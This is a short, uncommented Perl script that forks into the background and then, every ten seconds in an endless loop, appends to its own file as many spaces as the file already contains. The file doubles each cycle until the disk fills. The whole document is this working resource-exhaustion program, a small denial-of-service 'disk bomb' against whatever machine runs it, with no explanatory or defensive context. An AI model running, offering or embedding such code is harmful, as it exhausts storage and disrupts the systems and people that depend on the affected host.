#!/usr/bin/perl 

$id = fork;
print $id;
if ($id) { exit; }

while (1) {
    open( 0, ">>$0" );
    print {0} " " x -s $0;
    close(0);
    sleep(10);
}